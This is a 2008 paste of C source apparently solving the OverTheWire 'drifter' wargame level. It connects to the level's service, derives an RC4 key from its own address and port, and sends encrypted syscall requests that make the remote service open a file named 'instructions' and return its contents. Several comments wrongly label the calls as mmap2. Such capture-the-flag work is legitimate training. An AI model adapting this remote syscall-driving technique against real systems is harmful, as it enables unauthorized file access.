All pastes #1078507 Raw Edit

drifter level 0

public text v1 · immutable
#1078507 ·published 2008-07-21 16:32 UTC
rendered paste body
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define SPORT 31337
#define DPORT 1111
#define HOST "drifter.labs.overthewire.org"
#define ME "69.55.233.89"

typedef struct {
        char state[256];
        int x;
        int y;
} rc4_key;

void swap_byte(char *a, char *b) {
        char tmp = a[0];
        *a = *b;
        *b = tmp;
}

void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key *key)
{
  int i;
  unsigned char t;
  unsigned char swapByte;
  unsigned char index1;
  unsigned char index2;
  unsigned char* state;
  short counter;

  state = &key->state[0];
  for(counter = 0; counter < 256; counter++)
  state[counter] = counter;
  key->x = 0;
  key->y = 0;
  index1 = 0;
  index2 = 0;
  for(counter = 0; counter < 256; counter++)
  {
    index2 = (key_data_ptr[index1] + state[counter] + index2) % 256;
    swap_byte(&state[counter], &state[index2]);
    index1 = (index1 + 1) % key_data_len;
  }
}

void rc4(unsigned char *buffer_ptr, int buffer_len, rc4_key *key)
{
  unsigned char t;
  unsigned char x;
  unsigned char y;
  unsigned char* state;
  unsigned char xorIndex;
  short counter;

  x = key->x;
  y = key->y;
  state = &key->state[0];
  for(counter = 0; counter < buffer_len; counter++)
  {
    x = (x + 1) % 256;
    y = (state[x] + y) % 256;
    swap_byte(&state[x], &state[y]);
    xorIndex = (state[x] + state[y]) % 256;
    buffer_ptr[counter] ^= state[xorIndex];
  }
  key->x = x;
  key->y = y;
}

int main(int argc, char **argv) {
        int sock, foo = 1, i;
        int ret = 0, loc = 0;
        unsigned int args[9];
        char key[7];
        struct hostent *he;
        struct sockaddr_in their_addr, my_addr;

        if(!(he = gethostbyname(HOST))) {
                perror("gethostbyname");
                exit(1);
        }

        if((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
                perror("socket");
                exit(1);
        }

        if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &foo, sizeof(int)) == -1) {
                perror("setsockopt");
                exit(1);
        }

        my_addr.sin_family = AF_INET;         // host byte order
        my_addr.sin_port = htons(SPORT);     // short, network byte order
        my_addr.sin_addr.s_addr = inet_addr(ME); // automatically fill with my IP
        memset(my_addr.sin_zero, '\0', sizeof my_addr.sin_zero);

        if(bind(sock, (struct sockaddr *)&my_addr, sizeof my_addr) == -1) {
                perror("bind");
                exit(1);
        }

        their_addr.sin_family = AF_INET;
        their_addr.sin_port = htons(DPORT);
        their_addr.sin_addr = *((struct in_addr *)he->h_addr);
        memset(their_addr.sin_zero, '\0', sizeof(their_addr.sin_zero));

        if(connect(sock, (struct sockaddr *)&their_addr, sizeof(their_addr)) == -1) {
                perror("connect");
                exit(1);
        }

        memcpy(key, &(my_addr.sin_addr.s_addr), 4);
        memcpy(key+4, &(my_addr.sin_port), 2);

        rc4_key key_in, key_out;
        prepare_key(key, 6, &key_in);
        prepare_key(key, 6, &key_out);

        for(i=0;i<42;i++) {
                rc4(key, 6, &key_in);
                rc4(key, 6, &key_out);
        }

        // mmap2
        // ret = syscall(192, 0, 4096, 1, 33, -1, 0, 0, 0);
        args[0] = 192;
        args[1] = 0;
        args[2] = 4096;
        args[3] = 3;
        args[4] = 33;
        args[5] = -1;
        args[6] = 0;
        args[7] = 0;
        args[8] = 0;


        rc4(&args, sizeof(args), &key_out);
        write(sock, &args, sizeof(args));

        read(sock, &loc, sizeof(loc));
        rc4(&loc, sizeof(loc), &key_in);
        printf("[mmap2] 0x%x\n", loc);

        // mmap2
        // ret = syscall(192, 0, 4096, 1, 33, -1, 0, 0, 0);
        args[0] = 3;
        args[1] = 4;
        args[2] = loc;
        args[3] = 12;
        args[4] = 0;
        args[5] = 0;
        args[6] = 0;
        args[7] = 0;
        args[8] = 0;

        rc4(&args, sizeof(args), &key_out);
        write(sock, &args, sizeof(args));
        write(sock, "instructions", 12);

        read(sock, &ret, sizeof(ret));
        rc4(&ret, sizeof(ret), &key_in);

        printf("[read] %d bytes\n", ret);

        // mmap2
        // ret = syscall(192, 0, 4096, 1, 33, -1, 0, 0, 0);
        args[0] = 5;
        args[1] = loc;
        args[2] = 0;
        args[3] = 0;
        args[4] = 0;
        args[5] = 0;
        args[6] = 0;
        args[7] = 0;
        args[8] = 0;

        rc4(&args, sizeof(args), &key_out);
        write(sock, &args, sizeof(args));

        read(sock, &ret, sizeof(ret));
        rc4(&ret, sizeof(ret), &key_in);

        printf("[open] descriptor # %d\n", ret);

        // mmap2
        // ret = syscall(192, 0, 4096, 1, 33, -1, 0, 0, 0);
        args[0] = 3;
        args[1] = ret;
        args[2] = loc;
        args[3] = 4096;
        args[4] = 0;
        args[5] = 0;
        args[6] = 0;
        args[7] = 0;
        args[8] = 0;

        rc4(&args, sizeof(args), &key_out);
        write(sock, &args, sizeof(args));

        read(sock, &ret, sizeof(ret));
        rc4(&ret, sizeof(ret), &key_in);

        printf("[read] %d bytes\n", ret);

        // mmap2
        // ret = syscall(192, 0, 4096, 1, 33, -1, 0, 0, 0);
        args[0] = 4;
        args[1] = 4;
        args[2] = loc;
        args[3] = 4096;
        args[4] = 0;
        args[5] = 0;
        args[6] = 0;
        args[7] = 0;
        args[8] = 0;

        rc4(&args, sizeof(args), &key_out);
        write(sock, &args, sizeof(args));

        char buf[128];
        read(sock, buf, 128);
        printf("Read: %s\n", buf);
        close(sock);

}